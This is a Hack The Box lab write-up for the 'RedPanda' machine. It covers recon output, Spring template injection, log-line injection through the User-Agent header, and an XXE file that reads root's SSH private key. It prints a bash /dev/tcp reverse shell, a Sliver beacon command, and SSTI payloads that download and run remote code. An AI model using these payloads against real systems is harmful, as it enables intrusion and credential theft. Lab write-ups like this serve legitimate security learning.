It’s been a long time since I wondered over to hack the box, and boy did they ever improve the site! They’ve done an amazing job at updating the experience over there, and it shows from the user engagement on the boxes.
Seeing the improvement there, I just had to swing over and do a few rooms. I started with an Easy rated one so I could get my VPN setup and make sure I understand the platform. I easily captured the user flag, but if you read my Write Up you’ll see I struggled with getting root on this box for the better part of a day.
Streamlined quick guide through the box.
rustscan -a $TARGET
, discover web server on port 8080
Burpsuite
and start exploring the application manually./search
endpointSliver
generate beacon --os linux --mtls $YOUR_IP:8888 --save ~/scripts/post/payloads/linux-beacon-mtls
mtls
python -m http.server
bash
#!/bin/bash
bash -c "bash -i >& /dev/tcp/$YOUR_IP/8080 0>&1"
python -m http.server
nc -nlvp 8080
The RCE we found does not allow any command chaining, so you’ll have to execute these in sequence:
# Download Payload
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('wget $YOUR_IP:8000/payload').getInputStream())}
# Make it executable
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod +x payload').getInputStream())}
# Execute the payload (Can leave out nohup but it is present so why not)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('nohup ./payload &').getInputStream())}
linpeas.sh
but it doesn’t do a ton for us in this case..java
source files on the system.find / -name *.java
/credits/*.xml
Spoiler: This is the exploitation path. If you wish you complete this on your own terms, turn back now! Just read the Java source code and documentation and you’ll come up with it!
Inspect logparser/App.java
. Here is pseudo code
- Read /opt/panda_search/redpanda.log
- For each line:
- If the log line does not contain ‘.jpg’ exit
- extract fields from line by doing .split("||")
and pulling index 0,1,2,3
- Use extracted URI to load an image at "/opt/panda_search/src/main/resources/static" + uri;
- Extract Artist
tag from loaded image
- Load XML document at /credits/ + artist + "_creds.xml"
- Extract image.uri from document, if it matches given URI, continue
- Increment totalviews
in matching image
tag, update the XML document
If we can trick this into loading our own image and xml document, we can use ENTITY
tags to load arbitrary files from the system.
Here is the code for parsing a log line:
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}
If we can set the value of URI, we can supply agent||overwrite/the/uri
and set the value of the URI as we please.
When the logs are written, user_agent
is set directly from the User-Agent
header in the request:
String UserAgent = request.getHeader("User-Agent");
...
logfile.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
So a simple curl
request to control where an image is loaded is as follows:
curl -A "||../../../../../../tmp/image.jpg" $TARGET:8000
The XML File is loaded based on the Artist
EXIF Tag in the image. We control the image, so we can set the Artist
Tag.
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
To load an xml File in tmp, we can do:
exiftool -artist='../tmp/yourimage' yourimage.jpg
Then we can write an XML file to /tmp/yourimage_creds.xml
and it will get loaded via this image.
Now we just need an XML file that will give us system access, the best case is we can read root’s private ssh key, so we’ll use an ENTITY
tag to load it.
<!DOCTYPE foo [<!ENTITY file SYSTEM "file:////root/.ssh/id_rsa"> ]>
<credits>
<author>yourimage</author>
<image>
<data>&file;</data>
<uri>/../../../../../../tmp/yourimage.jpg</uri>
<views>0</views>
</image>
<totalviews>2</totalviews>
</credits>
/tmp/yourimage.jpg
/tmp/yourimage_creds.xml
curl
command:bash
curl -A "||../../../../../../tmp/image.jpg" $TARGET:8000
cat /tmp/yourimage_creds.xml
cd ~/.ssh && chmod 600 key
ssh root@$TARGET -i ./key
GG!
Buckle up, this is a long one…
rustscan -a $TARGET -- -A -sC
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.11.170:22
Open 10.10.11.170:8080
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sC" on ip 10.10.11.170
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.80 ( https://nmap.org ) at 2022-11-18 14:04 UTC
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:04
Completed NSE at 14:04, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:04
Completed NSE at 14:04, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:04
Completed NSE at 14:04, 0.00s elapsed
Initiating Ping Scan at 14:04
Scanning 10.10.11.170 [2 ports]
Completed Ping Scan at 14:04, 3.00s elapsed (1 total hosts)
Nmap scan report for 10.10.11.170 [host down, received no-response]
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:04
Completed NSE at 14:04, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:04
Completed NSE at 14:04, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:04
Completed NSE at 14:04, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.43 seconds
dirb http://$TARGET:8080
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Nov 18 09:04:08 2022
URL_BASE: http://10.10.11.170:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.11.170:8080/ ----
+ http://10.10.11.170:8080/error (CODE:500|SIZE:86)
+ http://10.10.11.170:8080/search (CODE:405|SIZE:117)
+ http://10.10.11.170:8080/stats (CODE:200|SIZE:987)
-----------------
END_TIME: Fri Nov 18 09:08:06 2022
DOWNLOADED: 4612 - FOUND: 3
nikto --host $TARGET --port 8080
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.11.170
+ Target Hostname: 10.10.11.170
+ Target Port: 8080
+ Start Time: 2022-11-18 09:04:17 (GMT-5)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'content-disposition' found, with contents: inline;filename=f.txt
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS
+ OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ OSVDB-3092: /stats/: This might be interesting...
+ 7891 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2022-11-18 09:15:03 (GMT-5) (646 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
I fired up Burp and got started. The Web server renders this on Index:
This is the search form:
<div class="wrapper" >
<form class="searchForm" action="/search" method="POST">
<div class="wrap">
<div class="search">
<input type="text" name="name" placeholder="Search for a red panda">
<button type="submit" class="searchButton">
<i class="fa fa-search"></i>
</button>
</div>
</div>
</form>
</div>
</div>
/Error
contains a minor information disclosure, perhaps we can modify the rendered content there somehow.
/stats
Contains a leaderboard or something like that
With a page for each listed author, and the ability to ‘export table’
I’m willing to bet one of these URL parameters, or the table export is our hole.
Clicking export returns the following XML document:
<?xml version="1.0" encoding="UTF-8"?>
<credits>
<author>damian</author>
<image>
<uri>/img/angy.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/shy.jpg</uri>
<views>2</views>
</image>
<image>
<uri>/img/crafty.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/peter.jpg</uri>
<views>0</views>
</image>
<totalviews>2</totalviews>
</credits>
So, we have an .xml
endpoint which takes arguments and outputs an XML document. It’s likely taking the URL Parameters and using it to look something up in a database, so let’s haul out SQLMap.
sqlmap -u http://10.10.11.170:8080/export.xml?author=damian
___
__H__
___ ___["]_____ ___ ___ {1.6.11#stable}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 09:23:34 /2022-11-18/
[09:23:34] [INFO] testing connection to the target URL
[09:23:34] [INFO] checking if the target is protected by some kind of WAF/IPS
[09:23:34] [INFO] testing if the target URL content is stable
[09:23:34] [INFO] target URL content is stable
[09:23:34] [INFO] testing if GET parameter 'author' is dynamic
[09:23:35] [INFO] GET parameter 'author' appears to be dynamic
[09:23:35] [WARNING] heuristic (basic) test shows that GET parameter 'author' might not be injectable
[09:23:35] [INFO] testing for SQL injection on GET parameter 'author'
[09:23:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:23:36] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[09:23:36] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[09:23:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[09:23:37] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[09:23:38] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[09:23:38] [INFO] testing 'Generic inline queries'
[09:23:38] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[09:23:38] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[09:23:39] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[09:23:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[09:23:40] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[09:23:40] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[09:23:41] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y
[09:23:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[09:23:45] [WARNING] GET parameter 'author' does not seem to be injectable
[09:23:45] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[*] ending @ 09:23:45 /2022-11-18/
No dice there, let’s try the search form:
sqlmap -u http://10.10.11.170:8080/search --data="name=shy"
___
__H__
___ ___[']_____ ___ ___ {1.6.11#stable}
|_ -| . [.] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 09:28:18 /2022-11-18/
[09:28:18] [INFO] testing connection to the target URL
[09:28:18] [INFO] checking if the target is protected by some kind of WAF/IPS
[09:28:18] [INFO] testing if the target URL content is stable
[09:28:19] [INFO] target URL content is stable
[09:28:19] [INFO] testing if POST parameter 'name' is dynamic
[09:28:19] [INFO] POST parameter 'name' appears to be dynamic
[09:28:19] [WARNING] heuristic (basic) test shows that POST parameter 'name' might not be injectable
[09:28:19] [INFO] testing for SQL injection on POST parameter 'name'
[09:28:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:28:19] [WARNING] reflective value(s) found and filtering out
[09:28:20] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[09:28:20] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[09:28:20] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[09:28:21] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[09:28:21] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[09:28:21] [INFO] testing 'Generic inline queries'
[09:28:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[09:28:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[09:28:22] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[09:28:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[09:28:23] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[09:28:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[09:28:24] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[09:28:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[09:28:33] [WARNING] POST parameter 'name' does not seem to be injectable
[09:28:33] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[09:28:33] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 5 times
[*] ending @ 09:28:33 /2022-11-18/
Nothing there either…
I did skip the SSH port, so I fired off some enumeration of that… but it turned up nothing.
After playing with the forms and URL params for a while, I didn’t turn up a whole lot manually.
So, I went back and gathered some more information and noticed it’s a spring boot application, which means the runtime is Java.
I know a ton of programming languages, and somehow I’ve avoided Java
all this time even though it’s very widely used.
Perhaps though we can use this to guide our injection attempts? I grabbed a list of common Java web vulnerabilities, which to absolutely no surprise are the same as every other language. We have multiple locations where user input is rendered on the page almost directly so perhaps there is a template injection of sorts?
Using Hacktricks I came up with a few payloads to try:
+----------+--------------------------------+
| 1 COLUMN | 2 COLUMN |
+----------+--------------------------------+
| input | output |
| | |
| {{7*7}} | {{7*7}} |
| | |
| ${7*7} | Error occured: banned charac |
| | ters |
| | |
| | Error occured: banned charac |
| | ters |
| | |
| ${{7*7}} | Error occured: banned charac |
| | ters |
| | |
| #{7*7} | ??49_en_US?? |
+----------+--------------------------------+
There we go, #{7*7}
is executing Java code for us!
Now… I think Spring is the template engine because it’s Spring boot?
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Outputs:
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
Good good…
Alright we’ve found an RCE, now let’s abuse it using the methods I’ve been developing in the Post Exploitation Journey
series.
I get everything setup, and realize my stager is not working! I’ll likely swing back and debug this and make it more robust in the future… But for now I just uploaded the implant directly.
Once connected, my listener executes linpeas.sh
and writes the result to loot database in Sliver
.
Here’s interesting results:
- There is an sqlite Database & mysql DB
- Vulnerable to CVE-2021-3560
Polkit PE
- Potentially vulnerable to CVE-2022-2588
I could go spamming CVE’s but I figure I’d start with SQL first. The database must be interacted with through the Java app, so lets go inspect that source code.
find / -name *.java
/opt/panda_search/.mvn/wrapper/MavenWrapperDownloader.java
/opt/panda_search/src/test/java/com/panda_search/htb/panda_search/PandaSearchApplicationTests.java
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/PandaSearchApplication.java
/opt/credit-score/LogParser/final/.mvn/wrapper/MavenWrapperDownloader.java
/opt/credit-score/LogParser/final/src/test/java/com/logparser/AppTest.java
/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
find: ‘/tmp/systemd-private-b0baefc2c50d4ccea808a4c27f4fe871-systemd-logind.service-ponsTg’: Permission denied
...
MainController.java
seems like a good place to start:
MainController.java PandaSearchApplication.java RequestInterceptor.java
<h/src/main/java/com/panda_search/htb/panda_search$ ls
MainController.java PandaSearchApplication.java RequestInterceptor.java
<h/src/main/java/com/panda_search/htb/panda_search$ pwd
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search
<h/src/main/java/com/panda_search/htb/panda_search$ cat MainController.java
package com.panda_search.htb.panda_search;
import java.util.ArrayList;
import java.io.IOException;
import java.sql.*;
import java.util.List;
import java.util.ArrayList;
import java.io.File;
import java.io.InputStream;
import java.io.FileInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.http.MediaType;
import org.apache.commons.io.IOUtils;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;
@Controller
public class MainController {
@GetMapping("/stats")
public ModelAndView stats(@RequestParam(name="author",required=false) String author, Model model) throws JDOMException, IOException{
SAXBuilder saxBuilder = new SAXBuilder();
if(author == null)
author = "N/A";
author = author.strip();
System.out.println('"' + author + '"');
if(author.equals("woodenk") || author.equals("damian"))
{
String path = "/credits/" + author + "_creds.xml";
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
String totalviews = rootElement.getChildText("totalviews");
List<Element> images = rootElement.getChildren("image");
for(Element image: images)
System.out.println(image.getChildText("uri"));
model.addAttribute("noAuthor", false);
model.addAttribute("author", author);
model.addAttribute("totalviews", totalviews);
model.addAttribute("images", images);
return new ModelAndView("stats.html");
}
else
{
model.addAttribute("noAuthor", true);
return new ModelAndView("stats.html");
}
}
@GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException {
System.out.println("Exporting xml of: " + author);
if(author.equals("woodenk") || author.equals("damian"))
{
InputStream in = new FileInputStream("/credits/" + author + "_creds.xml");
System.out.println(in);
return IOUtils.toByteArray(in);
}
else
{
return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");
}
}
@PostMapping("/search")
public ModelAndView search(@RequestParam("name") String name, Model model) {
if(name.isEmpty())
{
name = "Greg";
}
String query = filter(name);
ArrayList pandas = searchPanda(query);
System.out.println("\n\""+query+"\"\n");
model.addAttribute("query", query);
model.addAttribute("pandas", pandas);
model.addAttribute("n", pandas.size());
return new ModelAndView("search.html");
}
public String filter(String arg) {
String[] no_no_words = {"%", "_","$", "~", };
for (String word : no_no_words) {
if(arg.contains(word)){
return "Error occured: banned characters";
}
}
return arg;
}
public ArrayList searchPanda(String query) {
Connection conn = null;
PreparedStatement stmt = null;
ArrayList<ArrayList> pandas = new ArrayList();
try {
Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");
stmt.setString(1, "%" + query + "%");
ResultSet rs = stmt.executeQuery();
while(rs.next()){
ArrayList<String> panda = new ArrayList<String>();
panda.add(rs.getString("name"));
panda.add(rs.getString("bio"));
panda.add(rs.getString("imgloc"));
panda.add(rs.getString("author"));
pandas.add(panda);
}
}catch(Exception e){ System.out.println(e);}
return pandas;
}
}
Okay there we go, username/password for mysql!
Let’s try logging in there…
mysql -u woodenk -p
...
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| red_panda |
+--------------------+
2 rows in set (0.01 sec)
mysql> use red_panda;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+---------------------+
| Tables_in_red_panda |
+---------------------+
| pandas |
+---------------------+
1 row in set (0.01 sec)
mysql> select * from pandas;
+----------+------------------------------------------------------------------------------------+------------------+---------+
| name | bio | imgloc | author |
+----------+------------------------------------------------------------------------------------+------------------+---------+
| Smooch | Smooch likes giving kisses and hugs to everyone! | img/smooch.jpg | woodenk |
| Hungy | Hungy is always hungry so he is eating all the bamboo in the world! | img/hungy.jpg | woodenk |
| Greg | Greg is a hacker. Watch out for his injection attacks! | img/greg.jpg | woodenk |
| Mr Puffy | Mr Puffy is the fluffiest red panda to have ever lived. | img/mr_puffy.jpg | damian |
| Florida | Florida panda is the evil twin of Greg. Watch out for him! | img/florida.jpg | woodenk |
| Lazy | Lazy is always very sleepy so he likes to lay around all day and do nothing. | img/lazy.jpg | woodenk |
| Shy | Shy is as his name suggest very shy. But he likes to cuddle when he feels like it. | img/shy.jpg | damian |
| Smiley | Smiley is always very happy. She loves to look at beautiful people like you ! | img/smiley.jpg | woodenk |
| Angy | Angy is always very grumpy. He sticks out his tongue to everyone. | img/angy.jpg | damian |
| Peter | Peter loves to climb. We think he was a spider in his previous life. | img/peter.jpg | damian |
| Crafty | Crafty is always busy creating art. They will become a very famous red panda! | img/crafty.jpg | damian |
+----------+------------------------------------------------------------------------------------+------------------+---------+
11 rows in set (0.00 sec)
mysql>
Okay that’s a deadend, besides us now having a password… I wonder if we have Sudo?
$ sudo -l
[sudo] password for woodenk:
Sorry, user woodenk may not run sudo on redpanda.
No dice. Hmm… Well, this is running as root:
root 865 0.0 0.0 2608 532 ? Ss 16:57 0:00 /bin/sh -c sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
root 866 0.0 0.2 9420 4568 ? S 16:57 0:00 sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
Hmmm, looking back through linpeas.sh carefull I explored a few routes:
- Writable gpg-agent socket
- tmux session at /tmp/tmux-1000
Oh boy this is TOUGH!
I can’t find any holes on the system through standard methods, so it makes sense to focus on the user-created portion, the Java app. There are some things owned and executing as root so there must be something we can abuse here.
Taking some time to more carefully enumerate the Java project directory:
find /opt/panda_search
.
./target
./target/generated-sources
./target/generated-sources/annotations
./target/test-classes
./target/test-classes/com
./target/test-classes/com/panda_search
./target/test-classes/com/panda_search/htb
./target/test-classes/com/panda_search/htb/panda_search
./target/test-classes/com/panda_search/htb/panda_search/PandaSearchApplicationTests.class
./target/surefire-reports
./target/surefire-reports/2022-06-20T12-09-29_564-jvmRun1.dumpstream
./target/surefire-reports/2022-06-14T12-12-05_160-jvmRun1.dump
./target/surefire-reports/2022-06-20T12-09-29_564-jvmRun1.dump
./target/surefire-reports/TEST-com.panda_search.htb.panda_search.PandaSearchApplicationTests.xml
./target/surefire-reports/com.panda_search.htb.panda_search.PandaSearchApplicationTests.txt
./target/surefire-reports/2022-06-20T14-05-35_043-jvmRun1.dump
./target/surefire-reports/2022-06-20T12-10-36_397-jvmRun1.dump
./target/panda.css.map
./target/panda_search-0.0.1-SNAPSHOT.jar
./target/maven-status
./target/maven-status/maven-compiler-plugin
./target/maven-status/maven-compiler-plugin/compile
./target/maven-status/maven-compiler-plugin/compile/default-compile
./target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
./target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
./target/maven-status/maven-compiler-plugin/testCompile
./target/maven-status/maven-compiler-plugin/testCompile/default-testCompile
./target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst
./target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/createdFiles.lst
./target/classes
./target/classes/application.properties
./target/classes/static
./target/classes/static/css
./target/classes/static/css/.main.css.swp
./target/classes/static/css/panda.css
./target/classes/static/css/main.css
./target/classes/static/css/search.css
./target/classes/static/css/stats.css
./target/classes/static/img
./target/classes/static/img/greg.jpg
./target/classes/static/img/florida.jpg
./target/classes/static/img/mr_puffy.jpg
./target/classes/static/img/peter.jpg
./target/classes/static/img/angy.jpg
./target/classes/static/img/smooch.jpg
./target/classes/static/img/crafty.jpg
./target/classes/static/img/smiley.jpg
./target/classes/static/img/shy.jpg
./target/classes/static/img/hungy.jpg
./target/classes/static/img/lazy.jpg
./target/classes/com
./target/classes/com/panda_search
./target/classes/com/panda_search/htb
./target/classes/com/panda_search/htb/panda_search
./target/classes/com/panda_search/htb/panda_search/SqlController.class
./target/classes/com/panda_search/htb/panda_search/RequestInterceptor.class
./target/classes/com/panda_search/htb/panda_search/MainController.class
./target/classes/com/panda_search/htb/panda_search/PandaSearchApplication.class
./target/classes/templates
./target/classes/templates/index.html
./target/classes/templates/.stats.html.swp
./target/classes/templates/.search.html.swp
./target/classes/templates/search.html
./target/classes/templates/stats.html
./target/maven-archiver
./target/maven-archiver/pom.properties
./target/generated-test-sources
./target/generated-test-sources/test-annotations
./target/panda_search-0.0.1-SNAPSHOT.jar.original
./.mvn
./.mvn/wrapper
./.mvn/wrapper/maven-wrapper.jar
./.mvn/wrapper/maven-wrapper.properties
./.mvn/wrapper/MavenWrapperDownloader.java
./mvnw.cmd
./pom.xml
./mvnw
./redpanda.log
./src
./src/test
./src/test/java
./src/test/java/com
./src/test/java/com/panda_search
./src/test/java/com/panda_search/htb
./src/test/java/com/panda_search/htb/panda_search
./src/test/java/com/panda_search/htb/panda_search/PandaSearchApplicationTests.java
./src/main
./src/main/resources
./src/main/resources/application.properties
./src/main/resources/static
./src/main/resources/static/css
./src/main/resources/static/css/panda.css
./src/main/resources/static/css/main.css
./src/main/resources/static/css/search.css
./src/main/resources/static/css/stats.css
./src/main/resources/static/.DS_Store
./src/main/resources/static/img
./src/main/resources/static/img/greg.jpg
./src/main/resources/static/img/florida.jpg
./src/main/resources/static/img/mr_puffy.jpg
./src/main/resources/static/img/peter.jpg
./src/main/resources/static/img/angy.jpg
./src/main/resources/static/img/.DS_Store
./src/main/resources/static/img/smooch.jpg
./src/main/resources/static/img/crafty.jpg
./src/main/resources/static/img/smiley.jpg
./src/main/resources/static/img/shy.jpg
./src/main/resources/static/img/hungy.jpg
./src/main/resources/static/img/lazy.jpg
./src/main/resources/.DS_Store
./src/main/resources/templates
./src/main/resources/templates/index.html
./src/main/resources/templates/search.html
./src/main/resources/templates/.DS_Store
./src/main/resources/templates/stats.html
./src/main/css
./src/main/css/panda.css
./src/main/sass
./src/main/sass/panda.scss
./src/main/.DS_Store
./src/main/java
./src/main/java/com
./src/main/java/com/panda_search
./src/main/java/com/panda_search/htb
./src/main/java/com/panda_search/htb/panda_search
./src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java
./src/main/java/com/panda_search/htb/panda_search/MainController.java
./src/main/java/com/panda_search/htb/panda_search/PandaSearchApplication.java
PandaSearchApplication.java:
package com.panda_search.htb.panda_search;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.stereotype.Component;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
@SpringBootApplication
public class PandaSearchApplication extends WebMvcConfigurerAdapter{
@Override
public void addInterceptors (InterceptorRegistry registry) {
registry.addInterceptor(new RequestInterceptor());
}
public static void main(String[] args) {
SpringApplication.run(PandaSearchApplication.class, args);
}
}
RequestInterceptor.java:
package com.panda_search.htb.panda_search;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedWriter;
import java.io.FileWriter;
import javax.servlet.http.HttpServletRequest;
import org.apache.catalina.User;
import org.springframework.web.servlet.ModelAndView;
public class RequestInterceptor extends HandlerInterceptorAdapter {
@Override
public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("interceptor#preHandle called. Thread: " + Thread.currentThread().getName());
return true;
}
@Override
public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("interceptor#postHandle called. Thread: " + Thread.currentThread().getName());
String UserAgent = request.getHeader("User-Agent");
String remoteAddr = request.getRemoteAddr();
String requestUri = request.getRequestURI();
Integer responseCode = response.getStatus();
/*System.out.println("User agent: " + UserAgent);
System.out.println("IP: " + remoteAddr);
System.out.println("Uri: " + requestUri);
System.out.println("Response code: " + responseCode.toString());*/
System.out.println("LOG: " + responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri);
FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
BufferedWriter bw = new BufferedWriter(fw);
bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
bw.close();
}
}
Hmm, this at least is modifying a file on the system… What’s in the file?
cat /opt/panda_search/redpanda.log
Empty? Let’s see if I can modify it by making requests to the server… I loaded the index and:
200||10.10.16.2||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/
Okay, so this is only actually useful if I can make it read/write as root for me…
Let’s take a closer look at the write commands:
bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
